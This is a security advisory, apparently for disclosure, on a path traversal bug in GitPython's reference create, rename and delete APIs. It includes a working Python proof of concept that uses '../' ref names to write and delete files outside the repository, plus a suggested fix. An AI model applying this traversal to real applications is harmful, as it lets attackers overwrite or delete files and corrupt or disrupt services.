## 🧾 Summary A vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**. --- ## 📦 Affected Versions * Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout) --- ## 🧠 Details ### Vulnerability Type **Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion** --- ### Root Cause Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations. `SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries. --- ### Affected Code ```python def set_reference(self, ref, logmsg=None): ... fpath = self.abspath assure_directory_exists(fpath, is_file=True) lfd = LockedFD(fpath) fd = lfd.open(write=True, stream=True) ... ``` ```python @classmethod def delete(cls, repo, path): full_ref_path = cls.to_full_path(path) abs_path = os.path.join(repo.common_dir, full_ref_path) if os.path.exists(abs_path): os.remove(abs_path) ``` ```python def rename(self, new_path, force=False): new_path = self.to_full_path(new_path) new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path) cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path) ... os.rename(cur_abs_path, new_abs_path) ``` --- ### Attack Vector **Local attack through application-controlled input passed into GitPython reference APIs** ### Authentication Required **None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.** --- ## 🧪 Proof of Concept ### Setup ```bash pip install GitPython==3.1.46 python poc.py ``` --- ### Exploit ```python import shutil from pathlib import Path from git import Repo from git.refs.reference import Reference from git.refs.symbolic import SymbolicReference base = Path("gp-ghsa-poc").resolve() if base.exists(): shutil.rmtree(base) repo_dir = base / "repo" repo = Repo.init(repo_dir) (repo_dir / "a.txt").write_text("init\n", encoding="utf-8") repo.index.add(["a.txt"]) repo.index.commit("init") outside_write = base / "outside_write.txt" outside_delete = base / "outside_delete.txt" outside_delete.write_text("DELETE ME\n", encoding="utf-8") print(f"repo_dir = {repo_dir}") print(f"outside_write = {outside_write}") print(f"outside_delete = {outside_delete}") Reference.create(repo, "../../../outside_write.txt", "HEAD") print("\n[+] outside_write exists:", outside_write.exists()) if outside_write.exists(): print("[+] outside_write content:") print(outside_write.read_text(encoding="utf-8")) SymbolicReference.delete(repo, "../../../outside_delete.txt") print("\n[+] outside_delete exists after delete:", outside_delete.exists()) ``` --- ### Result ```text repo_dir = ...\gp-ghsa-poc\repo outside_write = ...\gp-ghsa-poc\outside_write.txt outside_delete = ...\gp-ghsa-poc\outside_delete.txt [+] outside_write exists: True [+] outside_write content: <current HEAD commit SHA> [+] outside_delete exists after delete: False ``` --- ## 💥 Impact ### What can an attacker do? * Create or overwrite files outside the repository metadata directory * Delete attacker-chosen files reachable from the process permissions * Corrupt application state or configuration files * Cause denial of service by deleting or overwriting important files --- ### Security Impact * **Confidentiality:** Low * **Integrity:** High * **Availability:** High --- ### Who is affected? * Applications that expose GitPython reference operations to user-controlled input * Git automation services, repository management backends, CI/CD helpers, and developer platforms * Multi-user environments where one user can influence ref names processed on behalf of another workflow --- ## 🛠️ Mitigation / Fix ### Recommended Fix ```python def _validate_ref_write_path(repo, path, *, for_git_dir=False): SymbolicReference._check_ref_name_valid(path) base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve() target = (base / path).resolve() if base not in [target, *target.parents]: raise ValueError(f"Reference path escapes repository boundary: {path}") return str(target) ``` ```python full_ref_path = cls.to_full_path(path) _validate_ref_write_path(repo, full_ref_path) ```